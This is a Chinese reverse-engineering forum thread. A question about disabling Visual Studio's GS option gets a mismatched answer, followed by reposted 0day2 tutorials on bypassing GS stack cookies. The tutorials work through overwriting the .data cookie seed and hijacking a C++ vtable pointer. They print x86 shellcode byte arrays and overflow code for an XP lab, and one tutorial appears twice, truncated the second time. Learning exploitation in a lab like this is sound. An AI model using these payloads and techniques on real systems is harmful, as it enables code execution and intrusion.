学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

703

积分

2

好友

29

主题
发表于 2020-12-17 21:40:47 | 查看: 3562| 回复: 5
我使用的VS版本如下图,请问如何设定关闭GS编译选项

Visual Studio Code 如何设定关闭GS编译选项

Visual Studio Code 如何设定关闭GS编译选项

roger已获得悬赏 1 荣耀+5 学币

最佳答案

两种方法: 1.在main前加上#pragma warning(disable:4996) 2. 1、菜单栏中点击项目2、点击test(文件名)的属性3、选择C/C++ 将SDL检查设置为否即可
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2020-12-17 22:06:10
两种方法:
1.在main前加上#pragma warning(disable:4996)
2.




1、菜单栏中点击项目
2、点击test(文件名)的属性
3、选择C/C++ 将SDL检查设置为否即可
v2-e9d9519ffc2ccda53de65001fd71f91a_r.jpg v2-75c38c74bc2b0610919796de6c4d8fe4_r.jpg




发表于 2020-12-17 22:06:54
以下内容为转载:

之前在看《0day》的时候,看到10.5节,没有手动调试,最近看到论坛有篇帖子"同时替换栈和.data数据节中的Cookie突破GS安全机制",于是手动实验了一下,但是我的电脑上没有VS2008,所以用的VS2017/2015来编译,然后放到XP sp3下运行,结果就是无法成功挫败GS,原因有很多,其中一个就是发现VS2017/2015和VS2008的GS保护好像有点差别(我不知道有没有人发过类似的帖子,或者已经研究过这一点)

先说结论:VS2017/2015在对security cookie进行检查的时候,并不是像VS2008那样,检查.data的第一个DWROD,而是检查.data的第二个DWORD


代码还是上面那帖子中的代码
#include <stdafx.h>
#include <string.h>
#include <stdlib.h>
char shellcode[]="\x90\x90\x90\x90"//用NOP修改种子
"\x90\x90\x90\x90";
void test(char * str, int i, char * src)
{
       char dest[200];
       if(i<0x9995)
       {
              char * buf=str+i;//指向.data,i的值是main函数中申请的内存的起始地址到种子的距离
              *buf=*src;//修改.data的第一个字节
              *(buf+1)=*(src+1); //修改.data的第二个字节
              *(buf+2)=*(src+2); //修改.data的第三个字节
              *(buf+3)=*(src+3); //修改.data的第四个字节
           strcpy(dest,src);//这个函数产生溢出
       }
}
void main()
{
       char * str=(char *)malloc(0x10000);//申请一片内存,并用test函数来使用
       test(str,0xFFFF2FB8,shellcode);  
}

先看VS2008编译的程序:
  我不知道原楼主在编译的时候,除了书上提到的禁用优化选项之外,还在编译的时候设置了什么(这也是我说我提到的结论不知道是否正确的一个原因。)

.data段在0x403000 770734_GRP6Q3PF2MTW4KK.jpg ,
然后跟进test函数,strcpy后来到这 770734_T5NKMQGV3ZFQXPB.jpg ,下面的那个call应该就是security cookie check
F7进去,看到 770734_C72DC9U6YDM9XY6.jpg ,可以看到,这里是将ecx与.data段前4个字节进行比较。
这个时候的.data段的前4个字节已经是发生改变了的,这里跟踪一下.data段前4个字节到底被改成了什么?
重新载入程序,这个是403000处初始的数据 770734_G2KAWC85YC8A4AQ.jpg (这里一开始我还是不理解书上提到的“系统以.data节的第一个双字作为cookie种子,程序每次运行时cookie的种子都不同”这句话的意思,每次载入程序后,我看.data 0x403000处的数据都是一样的,后来我才反应过来原因:原来VS编译的程序在OEP处是一个call,而这个call就是生成security cookie的关键,这个call调用了GetSystemTimeAsFileTime等函数来生成security cookie,所以每次的security cookie都不一样,并不是说.data段的前4个字节是随机的,这里就不多说了,可以在OEP处F7跟一下)
然后在数据窗口中,对0x403000设置硬件写入断点,F9后,来到这里: 770734_QVSEEEKPRCNPDM3.jpg ,执行到返回,再F7看看这些代码是在哪个函数里的。
770734_BWDR6CAXN6S6Z9N.jpg 可以看到是OEP处生成security cookie这个call里的代码。

重新载入程序,继续F9,来到这里: 770734_6GVFH3JJTYU5E5Q.jpg 会分别断在这里,这里对应的是原代码中 770734_2HVPC56FMR8K4UV.jpg ,下来就是strcpy和check 770734_D9YZZCHPUW3KRWN.jpg ,然后就会来到最开始提到的地方 770734_Q58Y573ZMPUEW3F.jpg ,然后因为代码中同时替换了栈中和.data中的cookie于是就能绕过GS了。


这个程序是在XP SP3下调试的,如果之前那篇帖子的楼主编译正确的话,那环境应该就是和书上是一样的





接下来就是VS2017/VS2015和VS2008不同的地方:



然后看VS2017/2015编译的程序:
先看修改的项目属性:(因为我的主机是win7的,要让程序能在XP下运行得修改下面的属性)
770734_6AKRRJ5E5ARND7G.jpg

770734_HD7Y4XP28G4884V.jpg
770734_9PF69M6A85F8XSQ.jpg




先看区段: 770734_XDUBEXQNQZQRE3C.jpg ,数据段是0x413000
老样子,来到main函数, 770734_G625S9D9MKWM96H.jpg (这里在调用malloc的时候和上一个程序有区别,这里OD没有直接显示malloc,像这样 770734_87MJRKKQ5BZ4ZCU.jpg ,而是像上面那样显示的,我不知道这对最后的结果有没有影响,这也是我说我提到的结论不知道是否正确的另一个原因 )
然后F7跟进test,strcpy结束后来到check security cookie 770734_AMXSCUHYTUGFRVS.jpg
跟进这个check, 770734_8ZTQNKPYK9SJTAD.jpg 770734_RSZE3EJVPH44WFK.jpg
看到区别了吗?VS2017/2015不再像VS2008那样去检查前4个字节,而是检查第二个DWORD。所以说如果要让这个实验在VS2017/2015编译情况下成功绕过GS,就需要改变原先的代码,原先的代码是修改了.data段第一个DWORD,现在就需要修改第二个DWORD。
所以对于VS2017/2015编译的程序在绕过GS的时候会有点差别,其实原理还是一样的。

这个程序是在win7下调试的,因为在xp sp3下strcpy之前就开始报错了,但是我之前修改过代码,解决了报错的问题,之后check也是check第二个DWORD,所以应该和平台没关系。(不确定)

大致就是这样。

发表于 2020-12-17 22:09:44
环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在ss:[ebp-4]的位置根据两个参数异或生成Security Cookie然后函数返回的时候会还原出参数跟.data段的种子对比,相同则没有溢出,反之溢出
具体细节看这里:GS安全编译选项的保护原理

这篇会写的很详细,因为我觉得调试这节有一种最开始学习二进制的感觉,刺激!!!!!!
《0day2》提供的代码是这样的

004001ploiiglxplxolo8r.png

我们观察一下,然后给下个断点

[C++] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

// over_virtual.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "string.h"

class GSVirtual {
        public:
                void gsv(char * src)
                {
                        char buf[200];
                        strcpy(buf, src);
                        bar(); // virtual function call
                }
                virtual void  bar()
                {}
};

int main()
{

        GSVirtual test;
        __asm int 3
        test.gsv(
                "\x04\x2b\x99\x7C"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
        return 0;
}




VS的配置:禁用优化,开启GS,然后生成后咱们在虚拟机里面运行,断下附加OD

004001qt32iregzhrjgj7m.png

可以看到,push操作是把字符串的指针压栈,在数据区跟随一下可以看出来,我们单步走,遇到下面那个call跟进去

004002umrr3ffo3ornzon3.png

我们跟进来后可以看到生成Security Cookie的代码段,然后往下找可以看到校验Security Cookie的代码段

004011oqt8mdrfgayhqrgy.png

好了看完了Security Cookie部分,咱们来看看执行虚函数的部分,我们从代码可以看出来,执行了strcpy之后,就是执行虚函数,所以我们来看看执行虚函数的代码段

004012n52o7mpa9tq4qroz.png

看完后我们先把这个放下,来看一个简单攻击虚函数的代码(为了更好理解虚函数整个调用过程),用VC编译就行了,同样在调用前下断点,然后附加上OD,注意观察寄存器的值

具体的调试过程在这:攻击C++虚函数

[C++] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

#include "windows.h"
#include "iostream.h"
#include "cstdio"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xAC\xBA\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
        char buf[200];
        virtual void test(void)
        {
                cout<<"Class Vtable::test()"<<endl;
        }
};

Failwest overflow, *p;

int main(void)
{
        char * p_vtable;
        p_vtable=overflow.buf-4;//point to virtual table
        printf("%p %p\n",overflow.buf,overflow.buf-4);
        //__asm int 3
        p_vtable[0]=0x5C;
        p_vtable[1]=0xBB;
        p_vtable[2]=0x40;
        p_vtable[3]=0x00;
        strcpy(overflow.buf,shellcode);//set fake virtual function pointer
__asm int 3
        p=&overflow;
        p->test();
        return 0;
}






004012p979ng9npu9q09kt.png

F8走

004017eclloppioocc2qhx.png

是不是没有看懂?

不急我们重新梳理一遍,来看一下代码,我们先不调试溢出什么的,我们就看虚函数是如何调用的?以及虚表指针到底放在哪里?

下面是我们要用到的代码,可以看到我把修改虚表指针的代码注释掉了,因为我们要是修改了虚表指针那么在调试的时候就会跳到shellcode

这里补充一下:


004017h1hs9vrwoh161v1r.png

OD附加上,来到虚函数指针的地址指向的地方,可以看到0x004080C8是虚表指针

004017j5wbfd7mdpvv4mjp.png

然后我们跟着走

004017k2jvffa2957znj22.png

先把虚表指针的地址赋值给ECX,在数据区标注的地方就是虚表指针的地址

接着单步走

004018sb65j59zdafe5bfd.png

把虚表指针传给EAX,此时EAX存的是虚表指针0x004080C8,也就是说,0x004080C8这个地址开始存的是虚函数的指针,继续单步走

004018bjbbgncxx47b44pb.png

根据EAX处的值取出虚函数的地址0x00401020进行调用,这里是直接调用函数指针

004019vs5lpksg0clsgpr5.png

大概是明白了吧?

我再来总结一下:先是获取虚表指针的地址,然后根据虚表指针的地址获取虚表指针,获取到虚表指针后再获取虚函数指针,最后调用虚函数指针就行了

画个示意图

004021sd59qv8eek819qvv.png

继续解释:我们先获取某地址,这个地址存的是虚表指针的地址,我们可以看到这次虚表指针的地址是0x0040BAA8

然后我们根据虚表指针的地址去获取虚表指针,可以看到虚表指针是0x004080C8,然后根据虚表指针来找虚函数指针

虚函数指针是0x00401020

然后我们来看看最开始被我们丢在一边的程序

我们重新载入给个特写

004021ypqehewzqkc3is4q.png

按照我们刚才的分析,把代码段复制下来解释一下

[Asm] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

1

2

3

4

5

004012DD    8B85 24FFFFFF   mov     eax, dword ptr [ebp-DC];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 24FFFFFF   mov     ecx, dword ptr [ebp-DC]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数指针
004012ED    FFD0            call    eax;调用虚函数




突然发现最近阅读汇编能力蹭蹭蹭见长啊!!!!!!

那我们就走下来看看虚表指针在哪里

哎呀!!!!!!忘了这是溢出的代码了,不过没关系,不影响前面的分析,我们来修改一下代码先不要溢出,随意减小长度就行了

重新运行到这,可以看到此时的虚表指针是0x00411A4C

004021xjb9eiwxken8i7kl.png

继续跟着走,找到虚函数指针,看寄存器EAX的值

004022a020dz700l007dzp.png

虚函数指针是0x00401300,我们跳过去看看,这就是虚函数代码段

004022f7gxnbge2ewnwc7b.png

现在是完全的分析了一遍如何找到虚表指针的过程,以及各种细节,如果你还不是很懂,在纸上画一画就好了

我们来额外补充一点东西,我们写两个虚函数

004023yjf43va4dtndzk4a.png

可以在OD里面看到,这里是两处的虚函数调用

004026r4i454kaaaiai8ez.png

具体分析一下

[Asm] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

01

02

03

04

05

06

07

08

09

10

004012DD    8B85 28FFFFFF   mov     eax, dword ptr [ebp-D8];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数的地址
004012ED    FFD0            call    eax;调用第一个虚函数
004012EF    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]; 获取虚表指针的地址
004012F5    8B11            mov     edx, dword ptr [ecx]; 获取虚表指针
004012F7    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8];
004012FD    8B42 04         mov     eax, dword ptr [edx+4];获取虚函数的地址
00401300    FFD0            call    eax调用第二个虚函数




好了补充完了,现在开始分析如何通过覆盖虚函数的方法来突破GS

标注的地方你应该很熟悉了

004033d36m2ldmmhhdkq6m.png

走完这一段,我们来观察一下栈的布局

[Asm] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

1

2

3

4

5

6

7

0012FF5C   C09D019E  ?澙
0012FF60  /0012FF74  t?.
0012FF64  |00401356  V@.  返回到 over_vir.00401356 来自 over_vir.00401260
0012FF68  |00411A38  8A.  ASCII "Hello World!"
0012FF6C  |00411A4C  LA.  over_vir.00411A4C
0012FF70  |C09D018A  ?澙
0012FF74  ]0012FFC0  ?




看的出来Security Cookie吧?

然后,看到了虚表指针了吗?0x0012FF6C是虚表指针的地址

那么我们攻击的思路就是,先覆盖虚表指针,因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验

那我们就开始来定位缓冲区的起始位置,直接走完strcpy的代码段,这里我没有进行优化所以有点太直观啦ヾ(≧O≦)〃嗷~

004041x0ez5xzl2552mgmj.png

算出中间的间隔大小后,我们来填充看看

004041ws6rkukvrk6jk8vs.png

精准覆盖!!!!!!

好了现在把栈的布局搞清楚了,我们重新修改一下代码,将我们加上的一个虚函数去掉

顺便带上《0day2》里的shellcode,注意这里我们还没有确定各种地址,先来看看具体的情况,然后再根据系统来修改

004042qcq6io3ioh05jo66.png

这时候我们会遇到一个问题,我们执行虚函数会call eax,执行了之后我们是回不到shellcode的,怎么办?

那我们就来梳理一下我们利用的思路:首先我们溢出,覆盖掉虚表指针,然后执行虚函数,这时候先取出虚表指针

到虚表指针指向的地方取出虚函数指针,也就是说,我们直接覆盖的虚表指针那个位置存的是shellcode起始地址,这里要理解!!!!!!

《0day2》里面说实话我是没有看懂,自己捣鼓了很久,好了假设你已经看懂了上面的,放心吧后面还会详细解释的ヾ(^▽^*)))

004042x99umku6296pk9j9.png

看,标注出来的是虚表指针0x00411A38,当然这是我已经找好的,在你的电脑上还需要手动确定一下

然后我们call的时候会执行0x7C992B11,这个是怎么确定的呢?

这就需要来观察一下栈了

004042xwjh4hihan9pqisy.png

这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址

也就是说,我们只要执行一个pop和retn,就可以跳到shellcode

我们F7单步走一下看看,这里我已经找好pop和retn了,所以直接能演示

004043occbja02fcf7zvbf.png

看,我们在进入这个call的时候,堆栈压入了一个返回地址,按照上面的代码,一个pop把返回地址弹掉,然后retn到0x0012FE94

这个位置刚好是shellcode的起始位置,也就是说我们成功跳到了shellcode的空间了

来看看具体代码

004043k8znrz0geyrnr6zg.png

《0day2》里面是通过结束符来修改最后两位,但是我这里的情况修改最后两位是不能实现的,所以具体情况还是要根据你的电脑进行修改

最后的效果

004044naekbb7af7w0sbk8.png

欢迎交流

发表于 2020-12-17 22:11:33
环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在ss:[ebp-4]的位置根据两个参数异或生成Security Cookie然后函数返回的时候会还原出参数跟.data段的种子对比,相同则没有溢出,反之溢出
具体细节看这里:GS安全编译选项的保护原理

这篇会写的很详细,因为我觉得调试这节有一种最开始学习二进制的感觉,刺激!!!!!!
《0day2》提供的代码是这样的

004001ploiiglxplxolo8r.png

我们观察一下,然后给下个断点

[C++] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

// over_virtual.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "string.h"

class GSVirtual {
        public:
                void gsv(char * src)
                {
                        char buf[200];
                        strcpy(buf, src);
                        bar(); // virtual function call
                }
                virtual void  bar()
                {}
};

int main()
{

        GSVirtual test;
        __asm int 3
        test.gsv(
                "\x04\x2b\x99\x7C"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
        return 0;
}




VS的配置:禁用优化,开启GS,然后生成后咱们在虚拟机里面运行,断下附加OD

004001qt32iregzhrjgj7m.png

可以看到,push操作是把字符串的指针压栈,在数据区跟随一下可以看出来,我们单步走,遇到下面那个call跟进去

004002umrr3ffo3ornzon3.png

我们跟进来后可以看到生成Security Cookie的代码段,然后往下找可以看到校验Security Cookie的代码段

004011oqt8mdrfgayhqrgy.png

好了看完了Security Cookie部分,咱们来看看执行虚函数的部分,我们从代码可以看出来,执行了strcpy之后,就是执行虚函数,所以我们来看看执行虚函数的代码段

004012n52o7mpa9tq4qroz.png

看完后我们先把这个放下,来看一个简单攻击虚函数的代码(为了更好理解虚函数整个调用过程),用VC编译就行了,同样在调用前下断点,然后附加上OD,注意观察寄存器的值

具体的调试过程在这:攻击C++虚函数

[C++] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

#include "windows.h"
#include "iostream.h"
#include "cstdio"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xAC\xBA\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
        char buf[200];
        virtual void test(void)
        {
                cout<<"Class Vtable::test()"<<endl;
        }
};

Failwest overflow, *p;

int main(void)
{
        char * p_vtable;
        p_vtable=overflow.buf-4;//point to virtual table
        printf("%p %p\n",overflow.buf,overflow.buf-4);
        //__asm int 3
        p_vtable[0]=0x5C;
        p_vtable[1]=0xBB;
        p_vtable[2]=0x40;
        p_vtable[3]=0x00;
        strcpy(overflow.buf,shellcode);//set fake virtual function pointer
__asm int 3
        p=&overflow;
        p->test();
        return 0;
}






004012p979ng9npu9q09kt.png

F8走

004017eclloppioocc2qhx.png

是不是没有看懂?

不急我们重新梳理一遍,来看一下代码,我们先不调试溢出什么的,我们就看虚函数是如何调用的?以及虚表指针到底放在哪里?

下面是我们要用到的代码,可以看到我把修改虚表指针的代码注释掉了,因为我们要是修改了虚表指针那么在调试的时候就会跳到shellcode

这里补充一下:


004017h1hs9vrwoh161v1r.png

OD附加上,来到虚函数指针的地址指向的地方,可以看到0x004080C8是虚表指针

004017j5wbfd7mdpvv4mjp.png

然后我们跟着走

004017k2jvffa2957znj22.png

先把虚表指针的地址赋值给ECX,在数据区标注的地方就是虚表指针的地址

接着单步走

004018sb65j59zdafe5bfd.png

把虚表指针传给EAX,此时EAX存的是虚表指针0x004080C8,也就是说,0x004080C8这个地址开始存的是虚函数的指针,继续单步走

004018bjbbgncxx47b44pb.png

根据EAX处的值取出虚函数的地址0x00401020进行调用,这里是直接调用函数指针

004019vs5lpksg0clsgpr5.png

大概是明白了吧?

我再来总结一下:先是获取虚表指针的地址,然后根据虚表指针的地址获取虚表指针,获取到虚表指针后再获取虚函数指针,最后调用虚函数指针就行了

画个示意图

004021sd59qv8eek819qvv.png

继续解释:我们先获取某地址,这个地址存的是虚表指针的地址,我们可以看到这次虚表指针的地址是0x0040BAA8

然后我们根据虚表指针的地址去获取虚表指针,可以看到虚表指针是0x004080C8,然后根据虚表指针来找虚函数指针

虚函数指针是0x00401020

然后我们来看看最开始被我们丢在一边的程序

我们重新载入给个特写

004021ypqehewzqkc3is4q.png

按照我们刚才的分析,把代码段复制下来解释一下

[Asm] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

1

2

3

4

5

004012DD    8B85 24FFFFFF   mov     eax, dword ptr [ebp-DC];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 24FFFFFF   mov     ecx, dword ptr [ebp-DC]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数指针
004012ED    FFD0            call    eax;调用虚函数




突然发现最近阅读汇编能力蹭蹭蹭见长啊!!!!!!

那我们就走下来看看虚表指针在哪里

哎呀!!!!!!忘了这是溢出的代码了,不过没关系,不影响前面的分析,我们来修改一下代码先不要溢出,随意减小长度就行了

重新运行到这,可以看到此时的虚表指针是0x00411A4C

004021xjb9eiwxken8i7kl.png

继续跟着走,找到虚函数指针,看寄存器EAX的值

004022a020dz700l007dzp.png

虚函数指针是0x00401300,我们跳过去看看,这就是虚函数代码段

004022f7gxnbge2ewnwc7b.png

现在是完全的分析了一遍如何找到虚表指针的过程,以及各种细节,如果你还不是很懂,在纸上画一画就好了

我们来额外补充一点东西,我们写两个虚函数

004023yjf43va4dtndzk4a.png

可以在OD里面看到,这里是两处的虚函数调用

004026r4i454kaaaiai8ez.png

具体分析一下

[Asm] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

01

02

03

04

05

06

07

08

09

10

004012DD    8B85 28FFFFFF   mov     eax, dword ptr [ebp-D8];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数的地址
004012ED    FFD0            call    eax;调用第一个虚函数
004012EF    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]; 获取虚表指针的地址
004012F5    8B11            mov     edx, dword ptr [ecx]; 获取虚表指针
004012F7    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8];
004012FD    8B42 04         mov     eax, dword ptr [edx+4];获取虚函数的地址
00401300    FFD0            call    eax调用第二个虚函数




好了补充完了,现在开始分析如何通过覆盖虚函数的方法来突破GS

标注的地方你应该很熟悉了

004033d36m2ldmmhhdkq6m.png

走完这一段,我们来观察一下栈的布局

[Asm] [color=rgb(51, 102, 153) !important]纯文本查看 [color=rgb(51, 102, 153) !important]复制代码
[backcolor=rgb(27, 36, 38) !important][color=white !important]
[color=white !important]?

1

2

3

4

5

6

7

0012FF5C   C09D019E  ?澙
0012FF60  /0012FF74  t?.
0012FF64  |00401356  V@.  返回到 over_vir.00401356 来自 over_vir.00401260
0012FF68  |00411A38  8A.  ASCII "Hello World!"
0012FF6C  |00411A4C  LA.  over_vir.00411A4C
0012FF70  |C09D018A  ?澙
0012FF74  ]0012FFC0  ?




看的出来Security Cookie吧?

然后,看到了虚表指针了吗?0x0012FF6C是虚表指针的地址

那么我们攻击的思路就是,先覆盖虚表指针,因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验

那我们就开始来定位缓冲区的起始位置,直接走完strcpy的代码段,这里我没有进行优化所以有点太直观啦ヾ(≧O≦)〃嗷~

004041x0ez5xzl2552mgmj.png

算出中间的间隔大小后,我们来填充看看

004041ws6rkukvrk6jk8vs.png

精准覆盖!!!!!!

好了现在把栈的布局搞清楚了,我们重新修改一下代码,将我们加上的一个虚函数去掉

顺便带上《0day2》里的shellcode,注意这里我们还没有确定各种地址,先来看看具体的情况,然后再根据系统来修改

004042qcq6io3ioh05jo66.png

这时候我们会遇到一个问题,我们执行虚函数会call eax,执行了之后我们是回不到shellcode的,怎么办?

